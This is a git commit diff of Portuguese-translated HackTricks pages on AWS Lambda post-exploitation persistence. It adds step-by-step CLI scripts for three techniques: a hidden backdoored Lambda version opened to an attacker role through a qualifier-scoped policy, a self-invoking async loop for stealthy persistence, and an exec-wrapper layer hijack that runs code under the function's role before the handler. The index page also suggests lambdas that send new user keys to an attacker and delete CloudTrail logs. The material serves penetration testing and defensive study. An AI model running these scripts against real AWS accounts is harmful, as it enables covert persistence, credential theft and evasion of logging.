mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 19:32:24 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws
This commit is contained in:
@@ -1,64 +1,91 @@
|
||||
# AWS - Persistência do Lambda
|
||||
# AWS - Lambda Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lambda
|
||||
|
||||
Para mais informações, consulte:
|
||||
Para mais informações consulte:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistência da Camada do Lambda
|
||||
### Lambda Layer Persistence
|
||||
|
||||
É possível **introduzir/backdoor uma camada para executar código arbitrário** quando o lambda é executado de forma furtiva:
|
||||
É possível **introduzir/backdoor uma Layer para executar código arbitrário** quando a lambda é executada de forma furtiva:
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-layers-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistência da Extensão do Lambda
|
||||
### Lambda Extension Persistence
|
||||
|
||||
Abusando das Camadas do Lambda, também é possível abusar das extensões e persistir no lambda, mas também roubar e modificar solicitações.
|
||||
Abusando de Lambda Layers também é possível abusar de extensions e persistir no lambda, além de roubar e modificar requests.
|
||||
|
||||
{{#ref}}
|
||||
aws-abusing-lambda-extensions.md
|
||||
{{#endref}}
|
||||
|
||||
### Via políticas de recursos
|
||||
### Via resource policies
|
||||
|
||||
É possível conceder acesso a diferentes ações do lambda (como invocar ou atualizar código) a contas externas:
|
||||
É possível conceder acesso a diferentes ações do lambda (como invoke ou update code) para contas externas:
|
||||
|
||||
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Versões, Aliases & Pesos
|
||||
### Versions, Aliases & Weights
|
||||
|
||||
Um Lambda pode ter **diferentes versões** (com código diferente em cada versão).\
|
||||
Então, você pode criar **diferentes aliases com diferentes versões** do lambda e definir pesos diferentes para cada um.\
|
||||
Dessa forma, um atacante poderia criar uma **versão 1 com backdoor** e uma **versão 2 com apenas o código legítimo** e **executar apenas a versão 1 em 1%** das solicitações para permanecer furtivo.
|
||||
Uma Lambda pode ter **diferentes versões** (cada versão com código diferente).\
|
||||
Então, você pode criar **diferentes aliases com diferentes versões** da lambda e definir pesos diferentes para cada um.\
|
||||
Dessa forma um atacante poderia criar uma **backdoored version 1** e uma **version 2 com apenas o código legítimo** e **executar a version 1 em apenas 1%** das requisições para permanecer furtivo.
|
||||
|
||||
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Backdoor de Versão + API Gateway
|
||||
### Version Backdoor + API Gateway
|
||||
|
||||
1. Copie o código original do Lambda
|
||||
2. **Crie uma nova versão com backdoor** no código original (ou apenas com código malicioso). Publique e **implante essa versão** em $LATEST
|
||||
1. Chame o API gateway relacionado ao lambda para executar o código
|
||||
3. **Crie uma nova versão com o código original**, publique e implante essa **versão** em $LATEST.
|
||||
1. Isso ocultará o código com backdoor em uma versão anterior
|
||||
4. Vá para o API Gateway e **crie um novo método POST** (ou escolha qualquer outro método) que executará a versão com backdoor do lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. Observe o final :1 do arn **indicando a versão da função** (a versão 1 será a com backdoor neste cenário).
|
||||
5. Selecione o método POST criado e em Ações selecione **`Implantar API`**
|
||||
6. Agora, quando você **chamar a função via POST, seu Backdoor** será invocado
|
||||
1. Copie o código original da Lambda
|
||||
2. **Create a new version backdooring** o código original (ou apenas com código malicioso). Publique e **implante essa versão** para $LATEST
|
||||
1. Chame o API Gateway relacionado à lambda para executar o código
|
||||
3. **Crie uma nova versão com o código original**, Publique e implante essa **version** para $LATEST.
|
||||
1. Isso esconderá o código backdoored em uma versão anterior
|
||||
4. Vá ao API Gateway e **crie um novo método POST** (ou escolha qualquer outro método) que executará a versão backdoored da lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. Observe o final :1 do arn **indicando a versão da função** (version 1 será a backdoored neste cenário).
|
||||
5. Selecione o método POST criado e em Actions selecione **`Deploy API`**
|
||||
6. Agora, quando você **chamar a função via POST seu Backdoor** será invocado
|
||||
|
||||
### Ativador Cron/Event
|
||||
### Cron/Event actuator
|
||||
|
||||
O fato de que você pode fazer **funções lambda serem executadas quando algo acontece ou quando algum tempo passa** torna o lambda uma maneira agradável e comum de obter persistência e evitar detecção.\
|
||||
O fato de que você pode fazer **funções lambda serem executadas quando algo acontece ou quando passa algum tempo** torna o lambda uma forma comum e eficiente de obter persistência e evitar detecção.\
|
||||
Aqui estão algumas ideias para tornar sua **presença na AWS mais furtiva criando lambdas**.
|
||||
|
||||
- Sempre que um novo usuário é criado, o lambda gera uma nova chave de usuário e a envia para o atacante.
|
||||
- Sempre que um novo papel é criado, o lambda concede permissões de assumir papel a usuários comprometidos.
|
||||
- Sempre que novos logs do cloudtrail são gerados, exclua/alterar eles.
|
||||
- Toda vez que um novo usuário for criado, a lambda gera uma nova chave de usuário e a envia ao atacante.
|
||||
- Toda vez que uma nova role for criada, a lambda concede permissões de assume role a usuários comprometidos.
|
||||
- Toda vez que novos logs do cloudtrail forem gerados, deletá-los/alterá-los
|
||||
|
||||
### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers
|
||||
|
||||
Abuse a variável de ambiente `AWS_LAMBDA_EXEC_WRAPPER` para executar um script wrapper controlado pelo atacante antes do runtime/handler iniciar. Entregue o wrapper via um Lambda Layer em `/opt/bin/htwrap`, defina `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap` e então invoque a função. O wrapper roda dentro do processo do runtime da função, herda a função de execução (function execution role) e por fim `exec`s o runtime real para que o handler original ainda seja executado normalmente.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-exec-wrapper-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS - Lambda Function URL Public Exposure
|
||||
|
||||
Abuse as asynchronous destinations do Lambda juntamente com a configuração Recursion para fazer uma função se re-invocar continuamente sem um agendador externo (sem EventBridge, cron, etc.). Por padrão, o Lambda termina loops recursivos, mas definir a configuração de recursion para Allow os reativa. Destinations entregam no lado do serviço para invocações assíncronas, então um único invoke semente cria um canal stealthy, sem código, de heartbeat/backdoor. Opcionalmente faça throttle com reserved concurrency para manter o ruído baixo.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-async-self-loop-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS - Lambda Alias-Scoped Resource Policy Backdoor
|
||||
|
||||
Crie uma versão oculta da Lambda com lógica do atacante e aplique uma resource-based policy a essa versão específica (ou alias) usando o parâmetro `--qualifier` em `lambda add-permission`. Conceda apenas `lambda:InvokeFunction` em `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` para um principal atacante. Invocações normais via o nome da função ou alias primário permanecem inalteradas, enquanto o atacante pode invocar diretamente o ARN da versão backdoored.
|
||||
|
||||
Isso é mais furtivo do que expor uma Function URL e não altera o alias de tráfego primário.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-alias-version-policy-backdoor.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -0,0 +1,88 @@
|
||||
# AWS - Lambda Alias-Scoped Resource Policy Backdoor (Invoke specific hidden version)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Resumo
|
||||
|
||||
Crie uma versão oculta do Lambda com lógica do atacante e aplique uma política baseada em recursos a essa versão específica (ou alias) usando o parâmetro `--qualifier` em `lambda add-permission`. Conceda apenas `lambda:InvokeFunction` em `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` a um principal atacante. Invocações normais via o nome da função ou alias principal permanecem inalteradas, enquanto o atacante pode invocar diretamente o ARN da versão backdoored.
|
||||
|
||||
Isto é mais furtivo do que expor uma Function URL e não altera o alias de tráfego primário.
|
||||
|
||||
## Permissões necessárias (atacante)
|
||||
|
||||
- `lambda:UpdateFunctionCode`, `lambda:UpdateFunctionConfiguration`, `lambda:PublishVersion`, `lambda:GetFunctionConfiguration`
|
||||
- `lambda:AddPermission` (to add version-scoped resource policy)
|
||||
- `iam:CreateRole`, `iam:PutRolePolicy`, `iam:GetRole`, `sts:AssumeRole` (to simulate an attacker principal)
|
||||
|
||||
## Passos do Ataque (CLI)
|
||||
|
||||
<details>
|
||||
<summary>Publicar versão oculta, adicionar permissão com escopo por qualifier, invocar como atacante</summary>
|
||||
```bash
|
||||
# Vars
|
||||
REGION=us-east-1
|
||||
TARGET_FN=<target-lambda-name>
|
||||
|
||||
# [Optional] If you want normal traffic unaffected, ensure a customer alias (e.g., "main") stays on a clean version
|
||||
# aws lambda create-alias --function-name "$TARGET_FN" --name main --function-version <clean-version> --region "$REGION"
|
||||
|
||||
# 1) Build a small backdoor handler and publish as a new version
|
||||
cat > bdoor.py <<PY
|
||||
import json, os, boto3
|
||||
|
||||
def lambda_handler(e, c):
|
||||
ident = boto3.client(sts).get_caller_identity()
|
||||
return {"ht": True, "who": ident, "env": {"fn": os.getenv(AWS_LAMBDA_FUNCTION_NAME)}}
|
||||
PY
|
||||
zip bdoor.zip bdoor.py
|
||||
aws lambda update-function-code --function-name "$TARGET_FN" --zip-file fileb://bdoor.zip --region $REGION
|
||||
aws lambda update-function-configuration --function-name "$TARGET_FN" --handler bdoor.lambda_handler --region $REGION
|
||||
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --region $REGION --query LastUpdateStatus --output text)" = "Successful" ]; do sleep 2; done
|
||||
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
|
||||
VER_ARN=$(aws lambda get-function --function-name "$TARGET_FN:$VER" --region $REGION --query Configuration.FunctionArn --output text)
|
||||
echo "Published version: $VER ($VER_ARN)"
|
||||
|
||||
# 2) Create an attacker principal and allow only version invocation (same-account simulation)
|
||||
ATTACK_ROLE_NAME=ht-version-invoker
|
||||
aws iam create-role --role-name $ATTACK_ROLE_NAME --assume-role-policy-document Version:2012-10-17 >/dev/null
|
||||
cat > /tmp/invoke-policy.json <<POL
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [{
|
||||
"Effect": "Allow",
|
||||
"Action": ["lambda:InvokeFunction"],
|
||||
"Resource": ["$VER_ARN"]
|
||||
}]
|
||||
}
|
||||
POL
|
||||
aws iam put-role-policy --role-name $ATTACK_ROLE_NAME --policy-name ht-invoke-version --policy-document file:///tmp/invoke-policy.json
|
||||
|
||||
# Add resource-based policy scoped to the version (Qualifier)
|
||||
aws lambda add-permission \
|
||||
--function-name "$TARGET_FN" \
|
||||
--qualifier "$VER" \
|
||||
--statement-id ht-version-backdoor \
|
||||
--action lambda:InvokeFunction \
|
||||
--principal arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME \
|
||||
--region $REGION
|
||||
|
||||
# 3) Assume the attacker role and invoke only the qualified version
|
||||
ATTACK_ROLE_ARN=arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME
|
||||
CREDS=$(aws sts assume-role --role-arn "$ATTACK_ROLE_ARN" --role-session-name htInvoke --query Credentials --output json)
|
||||
export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r .AccessKeyId)
|
||||
export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r .SecretAccessKey)
|
||||
export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r .SessionToken)
|
||||
aws lambda invoke --function-name "$VER_ARN" /tmp/ver-out.json --region $REGION >/dev/null
|
||||
cat /tmp/ver-out.json
|
||||
|
||||
# 4) Clean up backdoor (remove only the version-scoped statement). Optionally remove the role
|
||||
aws lambda remove-permission --function-name "$TARGET_FN" --statement-id ht-version-backdoor --qualifier "$VER" --region $REGION || true
|
||||
```
|
||||
</details>
|
||||
|
||||
## Impacto
|
||||
|
||||
- Concede uma backdoor furtiva para invocar uma versão oculta da função sem modificar o alias principal ou expor uma Function URL.
|
||||
- Limita a exposição apenas à versão/alias especificada via a resource-based policy `Qualifier`, reduzindo a superfície de detecção enquanto mantém uma invocação confiável para o attacker principal.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,92 @@
|
||||
# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow
|
||||
|
||||
Abuse Lambda asynchronous Destinations together with the Recursion configuration para fazer uma função re-invocar-se continuamente sem um agendador externo (sem EventBridge, cron, etc.). Por padrão, Lambda termina loops recursivos, mas definir a configuração Recursion para Allow reativa-os. Destinations entregam do lado do serviço para invocações async, então uma única invoke seed cria um canal stealthy, sem código, tipo heartbeat/backdoor. Opcionalmente, limite com reserved concurrency para manter o ruído baixo.
|
||||
|
||||
Notas
|
||||
- Lambda não permite configurar a função para ser diretamente seu próprio destination. Use um function alias como destination e permita que o execution role invoque esse alias.
|
||||
- Permissões mínimas: habilidade para ler/atualizar o event invoke config e recursion config da função alvo, publicar uma version e gerenciar um alias, e atualizar a execution role policy da função para permitir lambda:InvokeFunction no alias.
|
||||
|
||||
## Requisitos
|
||||
- Region: us-east-1
|
||||
- Vars:
|
||||
- REGION=us-east-1
|
||||
- TARGET_FN=<target-lambda-name>
|
||||
|
||||
## Etapas
|
||||
|
||||
1) Obter o ARN da função e a configuração atual de Recursion
|
||||
```
|
||||
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
|
||||
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
|
||||
```
|
||||
2) Publicar uma versão e criar/atualizar um alias (usado como destino próprio)
|
||||
```
|
||||
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
|
||||
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
|
||||
aws lambda create-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
|
||||
else
|
||||
aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
|
||||
fi
|
||||
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
|
||||
```
|
||||
3) Permitir que o papel de execução da função invoque o alias (requerido por Lambda Destinations→Lambda)
|
||||
```
|
||||
# Set this to the execution role name used by the target function
|
||||
ROLE_NAME=<lambda-execution-role-name>
|
||||
cat > /tmp/invoke-self-policy.json <<EOF
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": "lambda:InvokeFunction",
|
||||
"Resource": "${ALIAS_ARN}"
|
||||
}
|
||||
]
|
||||
}
|
||||
EOF
|
||||
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
|
||||
```
|
||||
4) Configure o destino assíncrono para o alias (self via alias) e desative retries
|
||||
```
|
||||
aws lambda put-function-event-invoke-config \
|
||||
--function-name "$TARGET_FN" \
|
||||
--destination-config OnSuccess={Destination=$ALIAS_ARN} \
|
||||
--maximum-retry-attempts 0 \
|
||||
--region $REGION
|
||||
|
||||
# Verify
|
||||
aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION --query DestinationConfig
|
||||
```
|
||||
5) Permitir loops recursivos
|
||||
```
|
||||
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
|
||||
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
|
||||
```
|
||||
6) Disparar uma única invocação assíncrona
|
||||
```
|
||||
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
|
||||
```
|
||||
7) Observe invocações contínuas (exemplos)
|
||||
```
|
||||
# Recent logs (if the function logs each run)
|
||||
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
|
||||
# or check CloudWatch Metrics for Invocations increasing
|
||||
```
|
||||
8) Opcional stealth throttle
|
||||
```
|
||||
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
|
||||
```
|
||||
## Limpeza
|
||||
Interrompa o loop e remova a persistence.
|
||||
```
|
||||
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
|
||||
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
|
||||
aws lambda delete-function-concurrency --function-name "$TARGET_FN" --region $REGION || true
|
||||
# Optional: delete alias and remove the inline policy when finished
|
||||
aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGION || true
|
||||
ROLE_NAME=<lambda-execution-role-name>
|
||||
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
|
||||
```
|
||||
## Impacto
|
||||
- Uma única async invoke faz com que a Lambda re-invoque continuamente a si mesma sem um agendador externo, permitindo persistence/heartbeat furtiva. Reserved concurrency pode limitar o ruído a uma única warm execution.
|
||||
@@ -0,0 +1,94 @@
|
||||
# AWS - Lambda Exec Wrapper Layer Hijack (Pre-Handler RCE)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Resumo
|
||||
|
||||
Abuse a variável de ambiente `AWS_LAMBDA_EXEC_WRAPPER` para executar um wrapper controlado pelo atacante antes do runtime/handler iniciar. Entregue o wrapper através de uma Lambda Layer em `/opt/bin/htwrap`, defina `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap` e então invoque a função. O wrapper roda dentro do processo do runtime da função, herda a role de execução da função e por fim faz `exec` no runtime real para que o handler original ainda execute normalmente.
|
||||
|
||||
> [!WARNING]
|
||||
> Esta técnica concede execução de código na Lambda alvo sem modificar seu código-fonte ou role e sem precisar de `iam:PassRole`. Você só precisa da capacidade de atualizar a configuração da função e publicar/anexar uma layer.
|
||||
|
||||
## Permissões Necessárias (atacante)
|
||||
|
||||
- `lambda:UpdateFunctionConfiguration`
|
||||
- `lambda:GetFunctionConfiguration`
|
||||
- `lambda:InvokeFunction` (or trigger via existing event)
|
||||
- `lambda:ListFunctions`, `lambda:ListLayers`
|
||||
- `lambda:PublishLayerVersion` (same account) and optionally `lambda:AddLayerVersionPermission` if using a cross-account/public layer
|
||||
|
||||
## Script do wrapper
|
||||
|
||||
Coloque o wrapper em `/opt/bin/htwrap` na layer. Ele pode executar lógica pré-handler e deve terminar com `exec "$@"` para encadear ao runtime real.
|
||||
```bash
|
||||
#!/bin/bash
|
||||
set -euo pipefail
|
||||
# Pre-handler actions (runs in runtime process context)
|
||||
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
|
||||
python3 - <<'PY'
|
||||
import boto3, json, os
|
||||
try:
|
||||
ident = boto3.client('sts').get_caller_identity()
|
||||
print('[ht] sts identity:', json.dumps(ident))
|
||||
except Exception as e:
|
||||
print('[ht] sts error:', e)
|
||||
PY
|
||||
# Chain to the real runtime
|
||||
exec "$@"
|
||||
```
|
||||
## Etapas do ataque (CLI)
|
||||
|
||||
<details>
|
||||
<summary>Publicar layer, anexar à função alvo, definir wrapper, invocar</summary>
|
||||
```bash
|
||||
# Vars
|
||||
REGION=us-east-1
|
||||
TARGET_FN=<target-lambda-name>
|
||||
|
||||
# 1) Package wrapper at /opt/bin/htwrap
|
||||
mkdir -p layer/bin
|
||||
cat > layer/bin/htwrap <<'WRAP'
|
||||
#!/bin/bash
|
||||
set -euo pipefail
|
||||
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
|
||||
python3 - <<'PY'
|
||||
import boto3, json
|
||||
print('[ht] sts identity:', __import__('json').dumps(__import__('boto3').client('sts').get_caller_identity()))
|
||||
PY
|
||||
exec "$@"
|
||||
WRAP
|
||||
chmod +x layer/bin/htwrap
|
||||
(zip -qr htwrap-layer.zip layer)
|
||||
|
||||
# 2) Publish the layer
|
||||
LAYER_ARN=$(aws lambda publish-layer-version \
|
||||
--layer-name ht-exec-wrapper \
|
||||
--zip-file fileb://htwrap-layer.zip \
|
||||
--compatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8 \
|
||||
--query LayerVersionArn --output text --region "$REGION")
|
||||
|
||||
echo "$LAYER_ARN"
|
||||
|
||||
# 3) Attach the layer and set AWS_LAMBDA_EXEC_WRAPPER
|
||||
aws lambda update-function-configuration \
|
||||
--function-name "$TARGET_FN" \
|
||||
--layers "$LAYER_ARN" \
|
||||
--environment "Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}" \
|
||||
--region "$REGION"
|
||||
|
||||
# Wait for update to finish
|
||||
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --query LastUpdateStatus --output text --region "$REGION")" = "Successful" ]; do sleep 2; done
|
||||
|
||||
# 4) Invoke and verify via CloudWatch Logs
|
||||
aws lambda invoke --function-name "$TARGET_FN" /tmp/out.json --region "$REGION" >/dev/null
|
||||
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 50 --region "$REGION" --query 'events[].message' --output text
|
||||
```
|
||||
</details>
|
||||
|
||||
## Impacto
|
||||
|
||||
- Execução de código pré-handler no contexto do runtime do Lambda usando a execution role existente da função.
|
||||
- Nenhuma alteração no código da função ou na execution role é necessária; funciona em runtimes gerenciados comuns (Python, Node.js, Java, .NET).
|
||||
- Permite persistence, credential access (por exemplo, STS), data exfiltration e runtime tampering antes do handler ser executado.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user